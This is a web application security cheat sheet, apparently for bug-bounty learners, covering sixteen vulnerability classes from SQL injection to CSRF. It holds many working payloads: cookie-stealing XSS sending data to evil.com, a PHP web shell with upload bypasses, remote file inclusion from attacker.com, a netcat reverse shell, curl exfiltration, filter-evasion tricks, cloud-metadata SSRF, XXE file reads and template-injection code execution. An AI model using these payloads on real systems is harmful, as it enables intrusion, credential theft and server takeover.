1. What is SQL injection (SQLi)?

SQL injection is a web security vulnerability that lets attackers interfere with an application's database queries. This allows them to view, modify, or delete data they shouldn't access, and potentially compromise the server or perform denial-of-service attacks.

Impact of SQL injection

Successful attacks can expose sensitive data like passwords, credit card details, and personal information. They've caused major data breaches, reputational damage, and regulatory fines.

How to detect SQL injection

Test entry points by submitting:

  • The single quote character ' to trigger errors

  • SQL syntax that evaluates to different values

  • Boolean conditions like OR 1=1 and OR 1=2

  • Time-delay payloads

  • Out-of-band network interaction payloads

Common SQL injection locations

  • WHERE clause in SELECT queries (most common)

  • Updated values or WHERE clause in UPDATE statements

  • Inserted values in INSERT statements

  • Table or column names in SELECT statements

  • ORDER BY clause

Examples

Retrieving hidden data:

https://site.com/products?category=Gifts'--

This comments out the AND released = 1 restriction, revealing unreleased products.

Subverting login logic:
Username: administrator'--
Password: (blank)
This comments out the password check, allowing login as any user.

2. What is cross-site scripting (XSS)?

XSS is a web vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users.

Types with Code Examples

1. Reflected XSS

<!-- Vulnerable code -->
https://site.com/search?q=<script>alert('XSS')</script>
<p>You searched for: <script>alert('XSS')</script></p>

2. Stored XSS

<!-- User posts comment -->
Comment: <script>document.location='evil.com?cookie='+document.cookie</script>

<!-- Every visitor loads the script -->
<div class="comment">
  <script>document.location='evil.com?cookie='+document.cookie</script>
</div>

3. DOM-based XSS


var user = document.location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Welcome, ' + user;

https://site.com#<img src=x onerror="alert('XSS')">

What attackers can do


<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

<script>document.addEventListener('keydown', function(e){/*send to attacker*/})</script>

<script>fetch('https://site.com/change-password?new=123456', {method:'POST'})</script>

Impact

  • Account takeover

  • Data theft

  • Session hijacking

  • Malware distribution

3. Information Disclosure

What It Is

Apps accidentally exposing sensitive data—source code comments, internal paths, API keys, passwords. No complex exploit needed, just lazy devs leaving doors open.

Why It's Dangerous

  • Internal path → Know where to place web shells

  • Email list → Password spraying target

  • API key in JS → Access to AWS buckets

  • Exposed .git → Full source code

Where to Look

Common files:

/robots.txt
/.git/
/.env
/backup/
/phpinfo.php

In the app:

  • Error messages (reveal file paths)

  • HTML comments

  • Network responses (extra data)

  • Response headers (server versions)

Code Examples


Error leakage:

Warning: include(/var/www/html/config.php) on line 23

JavaScript:

const API_KEY = 'sk_live_123456789';

How to Find

Directory bruteforce:

ffuf -u https://target.com/FUZZ -w common.txt

Google dorks (with permission):

site:target.com ext:sql
site:target.com inurl:.git

Check source code on every page (Ctrl+U)
Trigger errors with special characters
Monitor network traffic in DevTools

4. File Upload Vulnerabilities

What It Is

When apps let users upload files but fail validation. Instead of profile pics, attackers upload web shells directly to the server.

Why It's Dangerous

  • Direct RCE – Upload a shell, run commands

  • Persistence – Own the server permanently

  • Lateral movement – Beachhead for internal access

Where to Look

  • Profile pictures, attachments, CSV imports, resumes

  • Endpoints: /upload, /api/upload, /profile/picture

How to Exploit

Basic shell:

<?php system($_GET['cmd']); ?>

Bypass tricks:

shell.php.jpg      (double extension)
shell.phtml        (alternate extension)
shell.PhP          (case swap)
Content-Type: image/jpeg  (MIME trick)

‰PNG               (magic bytes + PHP payload)
<?php system($_GET['cmd']); ?>

Trigger it:

https://site.com/uploads/shell.php?cmd=whoami

Quick Bypass Guide

Defense

Bypass

Extension blacklist

.php5, .phtml, double extensions

MIME type check

Change Content-Type

Magic numbers

Prepend image headers

File rename

Guess naming patterns

5. Business Logic Vulnerabilities

What They Are

Flaws in how the app is supposed to work. Code runs correctly, but the process is broken. No automated scanner finds these.

Why They're Dangerous

  • Direct money loss (free products, negative balances)

  • Account takeover (broken reset flows)

  • Developers never test "dumb user" scenarios

Where to Look

E-commerce

  • Apply same coupon repeatedly?

  • Change price before checkout?

  • quantity=-1?

  • Checkout with empty cart?

Authentication

  • Register with existing email → overwrite account?

  • Skip verification steps?

  • Reset someone else's password?

Multi-step

  • Skip steps? (1 → 3 without 2)

  • Repeat steps? (Submit twice)

  • Go back and change things?

Code Examples

Price manipulation:

POST /cart
product=123&price=1000 → price=1

Coupon abuse:

POST /apply-coupon
coupon=SAVE20

Send 10x fast → 200% off?

ID manipulation:

/invoice/123 → /invoice/124 (not yours)

Race Conditions

Two tabs, same request simultaneously:

  • Register same username twice?

  • Transfer money twice before balance updates?

How to Find

  1. Map the flow – Know every step

  2. Think like an idiot – "What if I do this twice? Skip steps? Change numbers?"

  3. Test in Burp – Modify values, replay requests, remove params

6. Path Traversal (LFI & RFI)

What It Is

When apps include files using user input without validation. You escape the web directory and read system files.


  • LFI – Read files already on the server

  • RFI – Make server include files from YOUR server

Why It's Dangerous

  • Read source code (passwords, API keys)

  • Read system files (/etc/passwd)

  • RFI = Remote Code Execution

  • Combine with upload = RCE

Where to Look

Parameters:

?page=home
?file=about
?document=resume.pdf
?include=header
?lang=en
?view=details

Endpoints:

/download?file=manual.pdf

How to Find LFI

Basic test:

?page=../../../etc/passwd
?file=../../../../windows/win.ini

Bypass filters:

URL encode: %2e%2e%2f
Double encode: %252e%252e%252f  
Unicode: ..%c0%af
....//....// (collapses to ../)
Null byte (old PHP): ../../../etc/passwd%00

How to Find RFI

Test remote inclusion:

?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txt
?page=php://filter/convert.base64-encode/resource=index.php

RFI to RCE:
Host this:

<?php system($_GET['cmd']); ?>

Then:

?page=http://attacker.com/shell.php&cmd=whoami

7. OS Command Injection

What It Is

When apps take user input and shove it directly into system commands. You type 8.8.8.8, server runs ping 8.8.8.8. You type 8.8.8.8; whoami, server runs both.

Diagram

Why It's Dangerous

  • Direct RCE – Run anything on their machine

  • Privilege escalation – If it's root, game over

  • Reverse shells – Full server access

  • Data theft – Dump passwords, keys, users

Where to Look

Functionality that calls system commands:

  • Ping/traceroute tools

  • Whois lookups

  • DNS lookups

  • File converters

  • Image resizers

Parameters:

?host=8.8.8.8
?domain=google.com
?file=document.docx

How to Find It

Basic command separators:

; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)

Test ping endpoint:

Normal: 8.8.8.8
Test:   8.8.8.8; whoami
Test:   8.8.8.8 | whoami

Blind injection (no output):

; sleep 5
| sleep 5
&& sleep 5

Page takes 5 extra seconds? You're in.

Out-of-band detection:

; nslookup attacker.com
| curl http://attacker.com/test

Bypass Filters

Spaces blocked:

${IFS}whoami
cat${IFS}/etc/passwd

Commands blacklisted:

w'h'o'a'm'i
who$@ami
who""ami
/b?n/c?t /???/??????

Separators blocked:

%0a whoami (newline)
%0d%0a whoami

Quick Payloads

Read files:

Linux: ; cat /etc/passwd
Windows: & type C:\windows\win.ini

Reverse shell:

Linux: ; nc -e /bin/bash YOUR-IP 4444
Windows: & powershell -c reverse-shell

Data exfil:

; curl http://attacker.com/$(whoami)

8. API Testing (Swagger)

What It Is

Swagger/OpenAPI is documentation that shows every API endpoint—including hidden ones developers forgot to turn off. A hacker's treasure map.

Why It's Dangerous

  • Complete attack surface – No guessing endpoints

  • Hidden functionality – Admin panels, debug tools

  • Parameter names – Know exactly what to send

  • Live testing – Send requests directly from browser

  • Sometimes hardcoded creds in docs

Where to Look

Common paths:

/swagger-ui.html
/swagger-ui/
/api-docs
/v2/api-docs
/v3/api-docs
/swagger.json
/swagger.yaml
/openapi.json
/docs

Framework-specific:

Spring Boot: /swagger-ui/index.html, /v3/api-docs
.NET: /swagger, /swagger/v1/swagger.json
Node.js: /api-docs, /docs, /explorer

What You'll Find

All endpoints:

GET /users
POST /admin/createUser
DELETE /users/{id}
GET /debug/env
POST /execute-sql

Parameters:

{
  "username": "string",
  "password": "string",
  "role": "admin"
}

Authentication:

  • Where to send tokens

  • Sometimes hardcoded API keys

  • "Bearer <token>" examples

9. SSRF (Server-Side Request Forgery)

What It Is

When an app fetches a URL you provide without validation. The server makes requests for you—to internal systems, cloud metadata, or otherwise inaccessible services.

Why It's Dangerous

  • Access internal systems – Things behind firewalls

  • Steal cloud creds – AWS metadata endpoint

  • Port scan – Map internal network

  • Bypass IP restrictions – Make localhost requests from server

Where to Look

Parameters:

?url=https://example.com
?uri=http://internal-server
?path=http://callback-server.com
?webhook=http://your-server.com
?avatar=https://gravatar.com/...
?file=https://remote-site.com/data.xml

How to Find It

1. Basic confirmation
Point to your server:

?url=http://YOUR-SERVER.com/test

Check logs for hit → SSRF confirmed.

2. Test internal addresses

?url=http://localhost:80
?url=http://127.0.0.1:22
?url=http://169.254.169.254/latest/meta-data/  (AWS creds)
?url=http://metadata.google.internal/          (GCP)

3. Bypass filters
If localhost blocked:

Alternative IPs: 0.0.0.0, 2130706433 (decimal)
URL encode: %31%32%37%2e%30%2e%30%2e%31
Redirects: Your server → internal IP
Other protocols: file://, dict://, gopher://

4. Blind SSRF (no output)

?url=http://YOUR-SERVER.com/$(hostname).your-domain.com

Check DNS logs for hostname exfil.

10. Authentication Flaws

What It Is

Authentication is how the app knows who you are. Login forms, registration, password resets, "remember me" cookies—all of it.

When authentication breaks, attackers become you. They log in as admin without the password. They reset someone else's password. They steal session tokens and slip right in.

No complex exploits needed. Just broken logic and lazy coding.

Why It's Dangerous

  • Account takeover – Become any user, including admins

  • Data breach – Once you're in, all their data is yours

  • Privilege escalation – User to admin? Yes please

  • Persistence – Change email, password, lock the real user out

Where to Look

Login:

  • Username/email field

  • Password field

  • "Remember me" checkbox

  • Multi-factor authentication codes

Registration:

  • Email verification

  • Password strength requirements

  • Username uniqueness checks

Password reset:

  • Email field

  • Reset token (often in URL)

  • Security questions

Session management:

  • Cookies

  • JWT tokens

  • Session IDs in URLs

How to Find Them

Login

  • Try admin:admin, test:test

  • Different error messages? "User not found" vs "Wrong password" = username enumeration

Registration

  • Register with existing email → does it overwrite the account?

  • Try [email protected] → sometimes treated as admin

Password Reset

  • Request reset for victim, intercept, change email to yours → reset link sent to you?

  • Reset tokens predictable? 12345 → try 12346

Session Cookies

  • Log in, grab cookie, log out → cookie still works? Bad.

  • Cookie stays same before and after login? Session fixation.

JWT Tokens

  • Decode JWT, change "user":"user" to "user":"admin" → still accepted?

  • Change algorithm to "alg":"none" → accepted?

Rate Limiting

  • Try 100 logins fast → blocked? No? Brute force possible.

11. CORS Misconfigurations

What They Are

CORS controls which websites can access your API. Misconfigurations let attackers steal data from other origins.

How to Find Them

Check Headers
Look for:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Test Origin Reflection
Send request with:

Origin: https://attacker.com

If response has Access-Control-Allow-Origin: https://attacker.com → misconfigured.

With Credentials
If Access-Control-Allow-Credentials: true and origin reflects, attacker can steal user data with JavaScript.

Null Origin
Try Origin: null → some apps allow it.

12. XXE (XML External Entity)

What It Is

XXE attacks abuse XML parsers that process external entities. Read files, do SSRF, cause DoS.

How to Find It

Look for XML

  • File uploads (.xml, .docx, .svg)

  • SOAP APIs

  • SAML authentication

Test File Read

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

See /etc/passwd? XXE confirmed.

Test SSRF

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR-SERVER.com">]>

Check server logs for hit.

Blind XXE

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com"> %xxe;]>

Out-of-band detection.

Billion Laughs (DoS)

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;">
...

13. Server-Side Template Injection (SSTI)

What It Is

SSTI lets you inject code into templates. Often leads to RCE.

How to Find It

Look for

  • Custom error pages

  • Email templates

  • Anywhere user input is rendered

Basic Detection
Inject math:

{{7*7}}
${7*7}
{{7*'7'}}

Response shows 49 or 7777777? SSTI confirmed.

Identify Engine
Different payloads:

  • Jinja2 (Python): {{7*7}}

  • Twig (PHP): {{7*7}}

  • Freemarker (Java): ${7*7}

  • Velocity (Java): #set($x=7*7)$x

RCE Attempts
Jinja2:

{{ self.__class__.__mro__[-1].__subclasses__() }}

Find subprocess and:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

14. HTTP Host Header Attacks

What They Are

Attacks that manipulate the Host header to poison caches or reset passwords.


How to Find Them

Look for

  • Password reset

  • Caching mechanisms

  • Link generation in emails

Password Reset Poisoning

  1. Request reset for [email protected]

  2. Change Host header to attacker.com

  3. If reset link uses Host, victim gets link pointing to attacker

Cache Poisoning
Send request with malicious Host header. If cached, other users get attacker content.

Absolute URLs
Check if app uses Host to generate links in responses.

Bypass
Try:

Host: target.com
X-Forwarded-Host: attacker.com

15. OAuth Authentication Issues

What It Is

OAuth lets users log in with Google, Facebook, etc. Implementation flaws = account takeover.

How to Find Them

Redirect URI Validation
Start OAuth flow, intercept. Change redirect_uri to your domain:

redirect_uri=https://attacker.com/callback

If accepted, steal auth codes.

CSRF in OAuth
No state parameter? Attacker can start OAuth flow, victim completes it, attacker uses code.

Code Reuse
Can you use same auth code twice? With different clients?

Token Leakage
Tokens in URL? access_token=12345 shows in browser history, referer headers.

Improper Scope Validation
Change scope from email to email profile repo → get more data than intended.

16. CSRF (Cross-Site Request Forgery)

What It Is

CSRF tricks logged-in users into performing actions they didn't intend—like changing email or transferring money.

How to Find Them

Look for State-Changing Requests

  • POST to /change-email

  • POST to /transfer-funds

  • GET to /delete-account? (bad design)

Test Without Token

  1. Intercept request, remove CSRF token

  2. Replay → still works? No CSRF protection.

Test Token Validation

  1. Get valid token from your account

  2. Use it in request for victim → if accepted, token not tied to session.

Test Method Flips
POST to /change-email → try as GET:

GET /change-email?email[email protected]

Works? CSRF.